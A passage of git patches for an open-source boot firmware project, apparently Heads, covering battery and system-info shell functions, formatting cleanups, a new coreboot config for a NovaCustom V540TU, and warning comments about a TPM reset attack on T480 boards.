${row3}" >> /tmp/devices_usb_pci - done - - memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') - memtotal=$((${memtotal} / 1024 / 1024 + 1)) - cpustr=$(cat /proc/cpuinfo | grep 'model name' | uniq | sed -r 's/\(R\)//;s/\(TM\)//;s/CPU //;s/model name.*: //') - kernel=$(uname -s -r) - - FB_OPTIONS="" - if whiptail --version |grep "fbwhiptail"; then FB_OPTIONS="--text-size 12"; fi - whiptail_type $BG_COLOR_MAIN_MENU $FB_OPTIONS --title 'System Info' \ - --msgbox "${BOARD_NAME}\nFW_VER: ${FW_VER}\nKernel: ${kernel}\nCPU: ${cpustr} RAM: ${memtotal} GB $battery_status\n$(fdisk -l | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')\n\n$(cat /tmp/devices_usb_pci)" 0 80 +battery_charge="$(print_battery_charge)" +battery_health="$(print_battery_health)" +if [ -n "$battery_charge" ] && [ -n "$battery_health" ]; then + battery_status="\nBattery charge: $battery_charge% Battery health: $battery_health%\n" +fi + +usb="$(lsusb)" +pci="$(lspci)" + +camera="None|Unknown" +if echo "$usb" | grep -s "04f2:b2db"; then camera="Yes"; fi # t430 +if echo "$usb" | grep -s "04f2:b2ea"; then camera="Yes"; fi # x230 +if echo "$usb" | grep -s "5986:02d2"; then camera="Yes"; fi # x230 + +bluetooth="None|Unknown" +if echo "$usb" | grep -s "0a5c:21e6"; then bluetooth="BCM20702 Bluetooth 4.0"; fi + +wifi="None|Unknown" +if echo "$pci" | grep -s "8086:0085"; then wifi="Intel Centrino Advanced-N 6205"; fi +if echo "$pci" | grep -s "168c:0034"; then wifi="Qualcomm Atheros AR9462"; fi +if echo "$pci" | grep -s "168c:0030"; then wifi="Qualcomm Atheros AR93xx"; fi + +mouse="None|Unknown" +if grep -s "TouchPad" /sys/class/input/mouse*/device/name; then mouse="Synaptic TouchPad"; fi + +known_devices="$(echo -e "Camera: ${camera}\nBluetooth: ${bluetooth}\nWifi: ${wifi}\nMouse: ${mouse}")" + +echo -e "PCI USB" >/tmp/devices_usb_pci +for l in $(seq 16); do + row1="$(echo "$pci" | sed -n ${l}p | cut -d " " -f 5)" + row2="$(echo "$usb" | sed -n ${l}p | cut -d " " -f 6)" + row3="$(echo "$known_devices" | sed -n ${l}p)" + echo "${row1} | ${row2} ${row3}" >>/tmp/devices_usb_pci +done + +memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') +memtotal=$((${memtotal} / 1024 / 1024 + 1)) +cpustr=$(cat /proc/cpuinfo | grep 'model name' | uniq | sed -r 's/\(R\)//;s/\(TM\)//;s/CPU //;s/model name.*: //') +kernel=$(uname -s -r) + +FB_OPTIONS="" +if whiptail --version | grep "fbwhiptail"; then FB_OPTIONS="--text-size 12"; fi +whiptail_type $BG_COLOR_MAIN_MENU $FB_OPTIONS --title 'System Info' \ + --msgbox "${BOARD_NAME}\nFW_VER: ${FW_VER}\nKernel: ${kernel}\nCPU: ${cpustr} RAM: ${memtotal} GB $battery_status\n$(fdisk -l | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')\n\n$(cat /tmp/devices_usb_pci)" 0 80 diff --git a/initrd/etc/functions b/initrd/etc/functions index e4a735080..6f20e4a47 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1221,16 +1221,36 @@ fromhex_plain() { } print_battery_health() { - if [ -d /sys/class/power_supply/BAT* ]; then - battery_health=$(calc $(cat /sys/class/power_supply/BAT*/charge_full)/$(cat /sys/class/power_supply/BAT*/charge_full_design)*100 | awk -F "." {'print $1'}) - echo "$battery_health" + TRACE_FUNC + if ls /sys/class/power_supply/BAT* 1>/dev/null 2>&1; then + for battery in /sys/class/power_supply/BAT*; do + if [ -d "$battery" ]; then + charge_full=$(cat "$battery/charge_full") + charge_full_design=$(cat "$battery/charge_full_design") + battery_health=$(calc "$charge_full / $charge_full_design * 100" | awk -F "." '{print $1}') + DEBUG "Battery $battery health: $battery_health%" + echo "$battery_health" + fi + done + else + DEBUG "No battery found in /sys/class/power_supply/" fi } print_battery_charge() { - if [ -d /sys/class/power_supply/BAT* ]; then - battery_charge=$(calc $(cat /sys/class/power_supply/BAT*/charge_now)/$(cat /sys/class/power_supply/BAT*/charge_full)*100 | awk -F "." {'print $1'}) - echo "$battery_charge" + TRACE_FUNC + if ls /sys/class/power_supply/BAT* 1>/dev/null 2>&1; then + for battery in /sys/class/power_supply/BAT*; do + if [ -d "$battery" ]; then + charge_now=$(cat "$battery/charge_now") + charge_full=$(cat "$battery/charge_full") + battery_charge=$(calc "$charge_now / $charge_full * 100" | awk -F "." '{print $1}') + DEBUG "Battery $battery charge: $battery_charge%" + echo "$battery_charge" + fi + done + else + DEBUG "No battery found in /sys/class/power_supply/" fi } diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 3566cc2ac..8c6a65199 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -4,8 +4,7 @@ # Pause for the configured timeout before booting automatically. Returns 0 to # continue with automatic boot, nonzero if user interrupted. -pause_automatic_boot() -{ +pause_automatic_boot() { if IFS= read -t "$CONFIG_AUTO_BOOT_TIMEOUT" -s -n 1 -r -p \ $'Automatic boot in '"$CONFIG_AUTO_BOOT_TIMEOUT"$' seconds unless interrupted by keypress...\n'; then return 1 # Interrupt automatic boot @@ -13,61 +12,60 @@ pause_automatic_boot() return 0 # Continue with automatic boot } -mount_usb() -{ - TRACE_FUNC - # Unmount any previous USB device - if grep -q /media /proc/mounts ; then - umount /media || die "Unable to unmount /media" - fi - # Mount the USB boot device - mount-usb && USB_FAILED=0 || ( [ $? -eq 5 ] && exit 1 || USB_FAILED=1 ) - if [ $USB_FAILED -ne 0 ]; then - whiptail_error --title 'USB Drive Missing' \ - --msgbox "Insert your USB drive and press Enter to continue." 0 80 - mount-usb && USB_FAILED=0 || ( [ $? -eq 5 ] && exit 1 || USB_FAILED=1 ) - if [ $USB_FAILED -ne 0 ]; then - whiptail_error --title 'ERROR: Mounting /media Failed' \ - --msgbox "Unable to mount USB device" 0 80 - exit 1 - fi - fi +mount_usb() { + TRACE_FUNC + # Unmount any previous USB device + if grep -q /media /proc/mounts; then + umount /media || die "Unable to unmount /media" + fi + # Mount the USB boot device + mount-usb && USB_FAILED=0 || ([ $? -eq 5 ] && exit 1 || USB_FAILED=1) + if [ $USB_FAILED -ne 0 ]; then + whiptail_error --title 'USB Drive Missing' \ + --msgbox "Insert your USB drive and press Enter to continue." 0 80 + mount-usb && USB_FAILED=0 || ([ $? -eq 5 ] && exit 1 || USB_FAILED=1) + if [ $USB_FAILED -ne 0 ]; then + whiptail_error --title 'ERROR: Mounting /media Failed' \ + --msgbox "Unable to mount USB device" 0 80 + exit 1 + fi + fi } # -- Display related functions -- # Produce a whiptail prompt with 'warning' background, works for fbwhiptail and newt whiptail_warning() { - if [ -x /bin/fbwhiptail ]; then - whiptail $BG_COLOR_WARNING "$@" - else - env NEWT_COLORS="root=,$TEXT_BG_COLOR_WARNING" whiptail "$@" - fi + if [ -x /bin/fbwhiptail ]; then + whiptail $BG_COLOR_WARNING "$@" + else + env NEWT_COLORS="root=,$TEXT_BG_COLOR_WARNING" whiptail "$@" + fi } # Produce a whiptail prompt with 'error' background, works for fbwhiptail and newt whiptail_error() { - if [ -x /bin/fbwhiptail ]; then - whiptail $BG_COLOR_ERROR "$@" - else - env NEWT_COLORS="root=,$TEXT_BG_COLOR_ERROR" whiptail "$@" - fi + if [ -x /bin/fbwhiptail ]; then + whiptail $BG_COLOR_ERROR "$@" + else + env NEWT_COLORS="root=,$TEXT_BG_COLOR_ERROR" whiptail "$@" + fi } # Produce a whiptail prompt of the given type - 'error', 'warning', or 'normal' whiptail_type() { - local TYPE="$1" - shift - case "$TYPE" in - error) - whiptail_error "$@" - ;; - warning) - whiptail_warning "$@" - ;; - normal) - whiptail "$@" - ;; - esac + local TYPE="$1" + shift + case "$TYPE" in + error) + whiptail_error "$@" + ;; + warning) + whiptail_warning "$@" + ;; + normal) + whiptail "$@" + ;; + esac } # Create display text for a size in bytes in either MB or GB, unit selected @@ -77,16 +75,16 @@ display_size() { size_bytes="$1" # If it's less than 1 GB, display MB - if [ "$((size_bytes))" -lt "$((1024*1024*1024))" ]; then - unit_divisor=$((1024*1024)) + if [ "$((size_bytes))" -lt "$((1024 * 1024 * 1024))" ]; then + unit_divisor=$((1024 * 1024)) unit_symbol="MB" else - unit_divisor=$((1024*1024*1024)) + unit_divisor=$((1024 * 1024 * 1024)) unit_symbol="GB" fi # Divide by the unit divisor and round to nearest - echo "$(( (size_bytes + unit_divisor/2) / unit_divisor )) $unit_symbol" + echo "$(((size_bytes + unit_divisor / 2) / unit_divisor)) $unit_symbol" } # Create display text for the size of a block device using MB or GB, rounded to @@ -114,8 +112,7 @@ display_block_device_size() { # Success: Sets FILE with the selected file # User aborted: Exits successfully with FILE empty # No entries in list: Displays error and exits unsuccessfully -file_selector() -{ +file_selector() { TRACE_FUNC local FILE_LIST MENU_MSG MENU_TITLE CHOICE_ARGS SHOW_SIZE OPTION_SIZE option_index @@ -140,7 +137,7 @@ file_selector() option="$option - $OPTION_SIZE" fi CHOICE_ARGS+=("$n" "$option") - done < "$FILE_LIST" + done <"$FILE_LIST" if [ "${#CHOICE_ARGS[@]}" -eq 0 ]; then whiptail_error --title 'ERROR: No Files Found' \ @@ -166,40 +163,36 @@ file_selector() done } -show_system_info() -{ - TRACE_FUNC - battery_charge="$(print_battery_charge)" - battery_health="$(print_battery_health)" - if [ -n $battery_charge -a -n $battery_health ];then - battery_status="\nBattery charge: $battery_charge%\nBattery health: $battery_health%\n" - fi - - memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') - memtotal=$((${memtotal} / 1024 / 1024 + 1)) - cpustr=$(cat /proc/cpuinfo | grep 'model name' | uniq | sed -r 's/\(R\)//;s/\(TM\)//;s/CPU //;s/model name.*: //') - kernel=$(uname -s -r) - - whiptail_type $BG_COLOR_MAIN_MENU --title 'System Info' \ - --msgbox "${BOARD_NAME}\n\nFW_VER: ${FW_VER}\nKernel: ${kernel}\n\nCPU: ${cpustr}\nRAM: ${memtotal} GB\n$battery_status\n$(fdisk -l 2>/dev/null | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')" 0 80 +show_system_info() { + TRACE_FUNC + battery_charge="$(print_battery_charge)" + battery_health="$(print_battery_health)" + if [ -n "$battery_charge" ] && [ -n "$battery_health" ]; then + battery_status="\nBattery charge: $battery_charge%\nBattery health: $battery_health%\n" + fi + + memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') + memtotal=$((${memtotal} / 1024 / 1024 + 1)) + cpustr=$(cat /proc/cpuinfo | grep 'model name' | uniq | sed -r 's/\(R\)//;s/\(TM\)//;s/CPU //;s/model name.*: //') + kernel=$(uname -s -r) + + whiptail_type $BG_COLOR_MAIN_MENU --title 'System Info' \ + --msgbox "${BOARD_NAME}\n\nFW_VER: ${FW_VER}\nKernel: ${kernel}\n\nCPU: ${cpustr}\nRAM: ${memtotal} GB\n$battery_status\n$(fdisk -l 2>/dev/null | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')" 0 80 } # Get "Enable" or "Disable" to display in the configuration menu, based on a # setting value -get_config_display_action() -{ - [ "$1" = "y" ] && echo "Disable" || echo "Enable" +get_config_display_action() { + [ "$1" = "y" ] && echo "Disable" || echo "Enable" } # Invert a config value -invert_config() -{ - [ "$1" = "y" ] && echo "n" || echo "y" +invert_config() { + [ "$1" = "y" ] && echo "n" || echo "y" } # Get "Enable" or "Disable" for a config that internally is inverted (because it # disables a behavior that is on by default). -get_inverted_config_display_action() -{ - get_config_display_action "$(invert_config "$1")" +get_inverted_config_display_action() { + get_config_display_action "$(invert_config "$1")" } From 9978aa6134cbd371778322d788a2a433715efea9 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Tue, 18 Feb 2025 21:30:47 +0100 Subject: [PATCH 528/619] add some warning to the t480 board config about the TPM GPIO reset attack https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html Signed-off-by: gaspar-ilom --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 7 +++++++ boards/t480-maximized/t480-maximized.config | 7 +++++++ 2 files changed, 14 insertions(+) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index a04bf8ff1..876c1482b 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -1,5 +1,12 @@ # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # +# CAVEATS: +# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. +# Also it can be used to extract FDE keys from a TPM. +# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 +# Make sure you understand the implications of the attack for your threat model before using this board. +# # Includes # - Deactivated+neutered+deguarded ME and expanded consequent IFD BIOS regions # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 5e6a8d1e2..71be0ed71 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -1,5 +1,12 @@ # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # +# CAVEATS: +# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. +# Also it can be used to extract FDE keys from a TPM. +# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 +# Make sure you understand the implications of the attack for your threat model before using this board. +# # Includes # - Deactivated+neutered+deguarded ME and expanded consequent IFD BIOS regions # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) From da66704f6c1051053669b3de6159bd5e2de25c5e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Filip=20Lewi=C5=84ski?= Date: Tue, 18 Feb 2025 15:16:58 +0100 Subject: [PATCH 529/619] config/coreboot-novacustom-v540tu.config: add MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Filip Lewiński --- config/coreboot-novacustom-v540tu.config | 947 +++++++++++++++++++++++ 1 file changed, 947 insertions(+) create mode 100644 config/coreboot-novacustom-v540tu.config diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config new file mode 100644 index 000000000..d216f84b7 --- /dev/null +++ b/config/coreboot-novacustom-v540tu.config @@ -0,0 +1,947 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="v0.9.0-rc2" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set +CONFIG_BOOTSPLASH_IMAGE=y +CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" +CONFIG_BOOTSPLASH_CONVERT=y +CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +CONFIG_VENDOR_CLEVO=y +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_NOVACUSTOM is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Not Applicable" +CONFIG_MAINBOARD_PART_NUMBER="V54x_6x_TU" +CONFIG_MAINBOARD_VERSION="V540TU" +CONFIG_MAINBOARD_DIR="clevo/mtl-h" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=1024 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Clevo" +CONFIG_CBFS_SIZE=0x1000000 +# CONFIG_CONSOLE_SERIAL is not set +CONFIG_MAX_CPUS=22 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +# CONFIG_POST_DEVICE is not set +# CONFIG_POST_IO is not set +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VBOOT_VBNV_OFFSET=0x28 +CONFIG_VARIANT_DIR="igpu" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Notebook" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x2000 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 + +# +# Alder Lake P +# +# CONFIG_BOARD_CLEVO_NS50PU is not set +# CONFIG_BOARD_CLEVO_NV40PZ is not set + +# +# Comet Lake U +# +# CONFIG_BOARD_CLEVO_L140CU is not set + +# +# Kaby Lake U +# +# CONFIG_BOARD_CLEVO_N130WU is not set + +# +# Meteor Lake H +# +# CONFIG_BOARD_CLEVO_V540TNX is not set +# CONFIG_BOARD_CLEVO_V560TNX is not set +# CONFIG_BOARD_CLEVO_V560TU is not set +CONFIG_BOARD_CLEVO_V540TU=y + +# +# Tiger Lake U +# +# CONFIG_BOARD_CLEVO_L140MU is not set +# CONFIG_BOARD_CLEVO_NV40MZ is not set +# CONFIG_BOARD_CLEVO_NS50MU is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="V54x_6x_TU" +# CONFIG_CONSOLE_POST is not set +# CONFIG_USE_PM_ACPI_TIMER is not set +CONFIG_TPM_PIRQ=0x61 +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" +CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y +CONFIG_BOARD_CLEVO_MTLH_COMMON=y +CONFIG_BOARD_CLEVO_V5X0TU_BASE=y +CONFIG_EC_SYSTEM76_EC_FLASH_SIZE=0x40000 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0xc0000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/descriptor.bin" +CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/me.bin" +CONFIG_GBE_BIN_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/gbe.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x200000 +CONFIG_PCIEXP_DEFAULT_MAX_RESIZABLE_BAR_BITS=36 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=42 +CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_FSP_TEMP_RAM_SIZE=0x20000 +CONFIG_EC_GPE_SCI=0x50 +CONFIG_TPM_MEASURED_BOOT=y +CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +CONFIG_COREBOOT_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=32768 +CONFIG_ROM_SIZE=0x02000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/meteorlake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_CONSOLE_UART_BASE_ADDRESS=0xfe02c000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT=y +CONFIG_ACPI_BERT_SIZE=0x10000 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 +CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_EXT_BIOS_WIN_BASE=0xf8000000 +CONFIG_EXT_BIOS_WIN_SIZE=0x2000000 +CONFIG_IFD_CHIPSET="mtl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_TBT_ROOT_PORTS=4 +CONFIG_MAX_ROOT_PORTS=12 +CONFIG_MAX_PCIE_CLOCK_SRC=9 +CONFIG_PCR_BASE_ADDRESS=0xe0000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_PERFORMANCE_CORE_SCALE_FACTOR=125 +CONFIG_SOC_INTEL_EFFICIENT_CORE_SCALE_FACTOR=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=38400000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +CONFIG_SOC_INTEL_UART_DEV_MAX=3 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff +CONFIG_FSP_HEADER_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/MeteorLakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/dasharo-blobs/novacustom/v5x0tu/MeteorLakeFspBinPkg/Fsp.fd" +CONFIG_DATA_BUS_WIDTH=128 +CONFIG_DIMMS_PER_CHANNEL=2 +CONFIG_MRC_CHANNEL_WIDTH=16 +CONFIG_BUILDING_WITH_DEBUG_FSP=y +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 +CONFIG_INTEL_GMA_BCLV_WIDTH=32 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_FSP_PUBLISH_MBP_HOB=y +CONFIG_MAX_HECI_DEVICES=6 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_METEORLAKE=y +CONFIG_SOC_INTEL_METEORLAKE_U_H=y +CONFIG_SOC_INTEL_METEORLAKE_TCSS_USB4_SUPPORT=y +CONFIG_METEORLAKE_CAR_ENHANCED_NEM=y 